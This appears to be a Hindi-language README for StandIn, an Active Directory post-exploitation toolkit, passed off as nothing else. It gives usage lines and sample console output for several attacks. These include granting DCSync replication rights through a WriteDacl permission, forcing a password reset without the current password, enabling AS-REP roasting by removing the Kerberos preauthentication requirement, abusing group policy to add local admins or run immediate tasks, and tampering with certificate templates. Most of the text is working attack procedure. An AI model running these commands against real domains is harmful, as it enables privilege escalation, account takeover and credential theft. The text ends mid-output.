
StandIn एक छोटा .NET35/45 AD पोस्ट-एक्सप्लॉइटेशन टूलकिट है।
StandIn एक छोटा AD पोस्ट-समझौता टूलकिट है। StandIn इसलिए अस्तित्व में आया क्योंकि हाल ही में xforcered में हमें संसाधन-आधारित प्रतिबंधित प्रतिनिधि सम्पादन करने के लिए एक .NET मूल समाधान की आवश्यकता थी। हालाँकि, StandIn जल्दी ही कई सुविधाओं को शामिल करने के लिए फैल गया।
मैं StandIn को विकसित करना जारी रखना चाहता हूँ ताकि मैं निर्देशिका सेवाओं की प्रोग्रामिंग के बारे में अधिक सीख सकूँ और उम्मीद है कि एक ऐसा उपकरण विकसित कर सकूँ जो AD पोस्ट-शोषण टूलचेन में फिट बैठता है।
योगदान का स्वागत है। कृपया सुनिश्चित करें कि पुल अनुरोधों में निम्नलिखित आइटम शामिल हों: कार्यक्षमता का विवरण, संक्षिप्त तकनीकी स्पष्टीकरण और नमूना आउटपुट।
क्या आपके पास कुछ ऐसा है जिसे आप StandIn में जोड़ा देखना चाहते हैं लेकिन आपके पास PR नहीं है? कृपया एक टिकट खोलें और कार्यक्षमता का यथासंभव सर्वोत्तम वर्णन करें।
निम्नलिखित आइटम वर्तमान में StandIn के बाद के संस्करणों में कार्यान्वयन के लिए विचाराधीन हैं।
__ ( / _// ~b33f __)/(//)(/(/) v1.4
--
--> Args? <----<
--help This help menu --object LDAP filter, e.g. samaccountname=HWest --ldap LDAP filter, can return result collection --filter Filter results, varies based on function --limit Limit results, varies based on function, defaults to 50 --computer Machine name, e.g. Celephais-01 --group samAccountName, e.g. "Necronomicon Admins" --ntaccount User name, e.g. "REDHOOK\UPickman" --sid Dependent on context --grant User name, e.g. "REDHOOK\KMason" --guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 --domain Domain name, e.g. REDHOOK --user User name --pass Password --newpass New password to set for object --gpo List group policy objects --acl Show ACL's for returned GPO's --localadmin Add samAccountName to BUILTIN\Administrators for vulnerable GPO --setuserrights samAccountName for which to add token rights in a vulnerable GPO --tasktype Immediate task type (user/computer) --taskname Immediate task name --author Immediate task author --command Immediate task command --args Immediate task command args --target Optional, filter for DNS name or NTAccount --targetsid Optional, provider user SID --increase Increment either the user or computer GPO version number for the AD object --policy Reads some account/kerberos properties from the "Default Domain Policy" --dns Performs ADIDNS enumeration, supports wildcard filters --legacy Boolean, sets DNS seach root to legacy (CN=System) --forest Boolean, sets DNS seach root to forest (DC=ForestDnsZones) --passnotreq Boolean, list accounts that have PASSWD_NOTREQD set --type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync --spn Boolean, list kerberoastable accounts --setspn samAccountName for which to add/remove an SPN --principal Principal name to add to samAccountName (e.g. MSSQL/VermisMysteriis) --delegation Boolean, list accounts with unconstrained / constrained delegation --asrep Boolean, list ASREP roastable accounts --dc Boolean, list all domain controllers --trust Boolean, list all trust relationships --adcs List all CA's and all published templates --clientauth Boolean, modify ADCS template to add/remove "Client Authentication" --ess Boolean, modify ADCS template to add/remove "ENROLLEE_SUPPLIES_SUBJECT" --pend Boolean, modify ADCS template to add/remove "PEND_ALL_REQUESTS" --owner Boolean, modify ADCS template owner --write Boolean, modify ADCS template, add/remove WriteDacl/WriteOwner/WriteProperty permission for NtAccount --enroll Boolean, modify ADCS template, add/remove "Certificate-Enrollment" permission for NtAccount --add Boolean, context dependent group/spn/adcs --remove Boolean, context dependent msDS-AllowedToActOnBehalfOfOtherIdentity/group/adcs --make Boolean, make machine; ms-DS-MachineAccountQuota applies --disable Boolean, disable machine; should be the same user that created the machine --access Boolean, list access permissions for object --delete Boolean, delete machine from AD; requires elevated AD access
--
--> Usage? <----<
StandIn.exe --ldap "(&(samAccountType=805306368)(servicePrincipalName=)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" StandIn.exe --ldap servicePrincipalName= --domain redhook --user RFludd --pass Cl4vi$Alchemi4e --limit 10 StandIn.exe --ldap servicePrincipalName=* --filter "pwdlastset, distinguishedname, lastlogon" --limit 100
StandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=vermismysteriis.redhook.local))" StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --object samaccountname=Celephais-01$ --filter "pwdlastset, serviceprincipalname, objectsid"
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby" StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!" StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=HArmitage --asrep StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=TMalone --asrep --remove StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --asrep StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --limit 20 StandIn.exe --gpo --filter admin --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --gpo --filter admin --acl --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant "SeTcbPrivilege,SeDebugPrivilege" StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant SeLoadDriverPrivilege --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target Rllyeh.redhook.local StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype user --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target "REDHOOK\RBloch" --targetsid S-1-5-21-315358687-3711474269-2098994107-1106 StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype user StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype computer --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --policy StandIn.exe --policy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --limit 20 StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --passnotreq StandIn.exe --passnotreq --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --sid JCurwen StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --spn StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --add StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --delegation StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dc
StandIn.exe --trust
StandIn.exe --group Literarum StandIn.exe --group "Magna Ultima" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --group JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --add StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --add --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --remove StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs StandIn.exe --adcs --filter Kingsport StandIn.exe --adcs --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --clientauth --add StandIn.exe --adcs --filter Kingsport --clientauth --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ess --add StandIn.exe --adcs --filter Kingsport --ess --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --pend --add StandIn.exe --adcs --filter Kingsport --pend --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Innsmouth --make StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Arkham --disable StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Danvers --delete StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Miskatonic --remove StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
## LDAP ऑब्जेक्ट संचालन
सभी `--object` संचालन अपेक्षा करते हैं कि LDAP फ़िल्टर एकल ऑब्जेक्ट लौटाए और यदि आपकी क्वेरी अधिक लौटाती है तो बाहर निकल जाएगा। यह डिज़ाइन द्वारा है। यदि आप ऑब्जेक्ट्स की एक सरणी प्राप्त करना चाहते हैं तो आपको `--ldap` का उपयोग करना चाहिए।
### रॉ LDAP
#### उपयोग मामला
> *संचालनात्मक रूप से, हम AD ऑब्जेक्ट की एक सरणी प्राप्त करना चाह सकते हैं और वैकल्पिक रूप से परिणामों और गुणों को फ़िल्टर और/या सीमित कर सकते हैं।*
#### सिंटैक्स
हल किए गए ऑब्जेक्ट्स के सभी गुण प्राप्त करें। क्वेरीज़ एकल गुण के लिए सरल मिलान या जटिल LDAP फ़िल्टर हो सकती हैं। `--limit` के साथ लौटाए गए परिणामों को वैकल्पिक रूप से सीमित करें।```
C:\> StandIn.exe --ldap "(&(displayName=*)(gpcfilesyspath=*))" --filter "gpcfilesyspath,versionnumber"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] LDAP search result count : 3
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => gpcfilesyspath,versionnumber
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 1
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 11
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[?] Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 2
|_ Computer Version : 4
[+] gpcfilesyspath
|_ \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
संचालनात्मक रूप से, हम AD में किसी विशिष्ट ऑब्जेक्ट के सभी गुणों को देखना चाह सकते हैं। एक सामान्य उदाहरण यह देखना होगा कि कोई उपयोगकर्ता खाता किन समूहों का सदस्य है या उपयोगकर्ता खाता ने अंतिम बार डोमेन में कब प्रमाणित किया था।
हल किया गया ऑब्जेक्ट लौटाएँ। क्वेरीज़ एकल गुण के लिए सरल मिलान या जटिल LDAP फ़िल्टर हो सकते हैं। वैकल्पिक रूप से, --filter के साथ उन गुणों को फ़िल्टर करें जिन्हें आप वापस लाना चाहते हैं।```
C:> StandIn.exe --object samaccountname=m-10-1909-01$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-01 Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 360 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195797 [+] instancetype |_ 4 [+] name |_ M-10-1909-01 [+] badpasswordtime |_ 0x0 [+] pwdlastset |_ 10/9/2020 4:42:02 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-01 |_ TERMSRV/m-10-1909-01.main.redhook.local |_ WSMAN/m-10-1909-01 |_ WSMAN/m-10-1909-01.main.redhook.local |_ RestrictedKrbHost/M-10-1909-01 |_ HOST/M-10-1909-01 |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local |_ HOST/m-10-1909-01.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 11/1/2020 7:40:09 PM UTC [+] usncreated |_ 31103 [+] objectguid |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0 [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 4:59:55 PM [+] adspath |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-01 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:59:32 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-01.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/25/2020 1:28:32 AM |_ 7/16/2020 2:15:26 PM |_ 7/15/2020 8:54:17 PM |_ 1/1/1601 12:04:17 AM [+] lastlogon |_ 11/3/2020 10:21:11 AM UTC [+] distinguishedname |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-01$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1126 [+] lastlogoff |_ 0 [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### ऑब्जेक्ट एक्सेस अनुमतियाँ प्राप्त करें
#### उपयोग केस
> *इंटरेक्शन के कुछ चरणों में, ऑपरेटर AD में किसी विशिष्ट ऑब्जेक्ट के लिए एक्सेस अनुमतियाँ हल करना चाह सकता है। कई अनुमतियाँ एक्सेस का विस्तार करने या उद्देश्यों को प्राप्त करने के लिए एक परिचालन मार्ग प्रदान कर सकती हैं। उदाहरण के लिए, किसी समूह पर WriteDacl अनुमति ऑपरेटर को समूह में एक नया उपयोगकर्ता जोड़ने के लिए स्वयं को अनुमतियाँ प्रदान करने की अनुमति दे सकती है। [SharpHound](https://github.com/BloodHoundAD/SharpHound3) जैसे उपकरण पहले से ही, कई मामलों में, इन Dacl कमजोरियों को प्रकट करते हैं।*
#### सिंटैक्स
हल किए गए ऑब्जेक्ट पर लागू होने वाले सक्रिय निर्देशिका नियमों को प्राप्त करें और किसी भी स्कीमा / अधिकार GUID's का उनके मित्रवत नाम में अनुवाद करें। वैकल्पिक रूप से परिणामों को NTAccount नाम के अनुसार फ़िल्टर करें।```
C:\>StandIn.exe --object samaccountname=m-10-1909-01$ --access
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> NT AUTHORITY\SELF
|_ Type : Allow
|_ Permission : CreateChild, DeleteChild
|_ Object : ANY
[+] Identity --> NT AUTHORITY\Authenticated Users
|_ Type : Allow
|_ Permission : GenericRead
|_ Object : ANY
[... Snip ...]
C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead
|_ Object : ANY
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Account-Restrictions
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : servicePrincipalName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : dNSHostName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : sAMAccountName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : displayName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : description
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Logon
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : DS-Validated-Write-Computer
उचित अधिकारों के साथ, ऑपरेटर AD में किसी विशिष्ट वस्तु पर NTAccount को विशेष अनुमतियाँ प्रदान कर सकता है। उदाहरण के लिए, यदि किसी ऑपरेटर के पास किसी उपयोगकर्ता खाते पर GenericAll विशेषाधिकार हैं, तो वे स्वयं या किसी तृतीय-पक्ष NTAccount को वर्तमान पासवर्ड जाने बिना उपयोगकर्ता का पासवर्ड बदलने की अनुमति दे सकते हैं।
हल किए गए ऑब्जेक्ट में निर्दिष्ट NTAccount के लिए अनुमति जोड़ें। StandIn पूर्व-परिभाषित विशेषाधिकारों (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync) का एक छोटा सेट समर्थन करता है, लेकिन यह ऑपरेटरों को --guid फ़्लैग का उपयोग करके एक कस्टम अधिकार GUID निर्दिष्ट करने की भी अनुमति देता है।```
C:> whoami
main\s4uuser
C:> StandIn.exe --group lowPrivButMachineAccess
[?] Using DC : m-w19-dc01.main.redhook.local [?] Group : lowPrivButMachineAccess GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : s4uUser Type : User SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess |_ Type : Allow |_ Permission : WriteDacl |_ Object : ANY
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Set object access rules |_ Success, added dcsync privileges to object for MAIN\s4uuser
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-All
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-In-Filtered-Set
### ऑब्जेक्ट पासवर्ड सेट करें
#### उपयोग परिदृश्य
> *यदि ऑपरेटर के पास किसी उपयोगकर्ता ऑब्जेक्ट पर `User-Force-Change-Password` अनुमतियाँ हैं, तो वे वर्तमान पासवर्ड जाने बिना उस उपयोगकर्ता खाते का पासवर्ड बदल सकते हैं। यह क्रिया विनाशकारी है क्योंकि उपयोगकर्ता अब प्रमाणीकरण नहीं कर पाएगा, जो अलार्म बजा सकता है।*
#### सिंटैक्स
वर्तमान पासवर्ड जाने बिना हल किए गए ऑब्जेक्ट का पासवर्ड सेट करें।```
C:\> whoami
main\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess
|_ Type : Allow
|_ Permission : WriteDacl
|_ Object : ANY
C:\> StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Set object access rules
|_ Success, added resetpassword privileges to object for MAIN\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\s4uUser
|_ Type : Allow
|_ Permission : ExtendedRight
|_ Object : User-Force-Change-Password
C:\> StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Setting account password
|_ Success, password set for object
यदि ऑपरेटर के पास किसी उपयोगकर्ता खाते पर लिखने का अधिकार है, तो वे उपयोगकर्ता के
userAccountControlफ़्लैग्स कोDONT_REQUIRE_PREAUTHशामिल करने के लिए संशोधित कर सकते हैं। ऐसा करने से ऑपरेटर उपयोगकर्ता के लिए एक AS-REP हैश का अनुरोध कर सकता है जिसे ऑफ़लाइन क्रैक किया जा सकता है। यह प्रक्रिया kerberoasting के समान है। यह कार्रवाई विनाशकारी नहीं है, लेकिन यह इस तथ्य पर निर्भर करती है कि उपयोगकर्ता के पास एक पासवर्ड है जिसे उचित समय सीमा में क्रैक किया जा सकता है।
हल किए गए ऑब्जेक्ट के userAccountControl फ़्लैग्स से DONT_REQUIRE_PREAUTH जोड़ें और हटाएं।```
C:> StandIn.exe --object "samaccountname=user005" --asrep
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
C:> StandIn.exe --object "samaccountname=user005" --asrep --remove
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 0 object(s) that do not require Kerberos preauthentication..
## SID
#### उपयोग परिदृश्य
> *कभी-कभी आपके पास या तो `SID` या `samAccountName` होता है और आपको दूसरा प्राप्त करने की आवश्यकता होती है। यह आपके लिए ऐसा करने के लिए एक सरल सहायक फ़ंक्शन है।*
#### सिंटैक्स
`SID` या `samAccountName` को उपयोगकर्ता `SID` और `NTAccount` में बदलें।```
C:\> StandIn.exe --sid user001
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
C:\> StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
यह फ़ंक्शन AD के सभी खातों की गणना करता है जो वर्तमान में सक्षम हैं और उनके
userAccountControlफ़्लैग्स के भाग के रूप मेंDONT_REQUIRE_PREAUTHरखते हैं। इन खातों को AS-REP रोस्ट किया जा सकता है, यह प्रक्रिया kerberoasting के समान है।
ASREP रोस्ट करने योग्य सभी खातों को लौटाएं।``` C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
## PASSWD_NOTREQD
#### उपयोग का मामला
> *यह फ़ंक्शन AD में सभी खातों की गणना करता है जो वर्तमान में सक्षम हैं और जिनके `userAccountControl` फ़्लैग्स में `PASSWD_NOTREQD` शामिल है। ये खाते GPO प्रवर्तन के बावजूद खाली पासवर्ड रख सकते हैं, लेकिन इनमें एक पासवर्ड भी कॉन्फ़िगर किया जा सकता है।*
#### सिंटैक्स
`PASSWD_NOTREQD` सेट होने वाले सभी खातों को लौटाएँ।```
C:\> StandIn.exe --passnotreq
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 2 object(s) that do not require a password..
[*] SamAccountName : passnotreq
